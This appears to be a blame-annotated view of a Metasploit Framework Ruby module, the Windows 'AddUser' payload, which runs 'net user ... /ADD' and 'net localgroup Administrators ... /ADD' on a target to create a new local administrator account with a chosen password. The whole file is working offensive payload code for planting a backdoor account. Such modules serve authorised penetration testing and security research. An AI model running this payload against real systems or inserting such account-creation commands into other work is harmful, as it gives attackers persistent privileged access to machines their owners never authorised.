2005-07-11 05:15:30 +00:00
|
|
|
require 'msf/core'
|
2006-02-21 03:10:58 +00:00
|
|
|
require 'msf/core/payload/windows/exec'
|
2005-07-11 05:15:30 +00:00
|
|
|
|
|
|
|
module Msf
|
|
|
|
module Payloads
|
|
|
|
module Singles
|
|
|
|
module Windows
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# Extends the Exec payload to add a new user.
|
|
|
|
#
|
|
|
|
###
|
|
|
|
module AddUser
|
|
|
|
|
2006-02-21 03:10:58 +00:00
|
|
|
include Msf::Payload::Windows::Exec
|
2005-07-11 05:15:30 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Execute net user /ADD',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Create a new user and add them to local administration group',
|
|
|
|
'Author' => 'hdm',
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-07-11 05:15:30 +00:00
|
|
|
'Platform' => 'win',
|
2005-07-13 18:54:41 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2005-07-11 05:15:30 +00:00
|
|
|
'Privileged' => true))
|
|
|
|
|
|
|
|
# Register command execution options
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
|
|
|
|
OptString.new('PASS', [ true, "The password for this user", "" ]),
|
2006-02-21 03:10:58 +00:00
|
|
|
], Msf::Payloads::Singles::Windows::AddUser)
|
2005-07-11 05:21:19 +00:00
|
|
|
|
|
|
|
# Hide the CMD option...this is kinda ugly
|
|
|
|
deregister_options('CMD')
|
2005-07-11 05:15:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Override the exec command string
|
|
|
|
#
|
|
|
|
def command_string
|
|
|
|
user = datastore['USER'] || 'metasploit'
|
|
|
|
pass = datastore['PASS'] || ''
|
|
|
|
|
|
|
|
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
|
|
|
|
"net localgroup Administrators #{user} /ADD"
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end end end end
|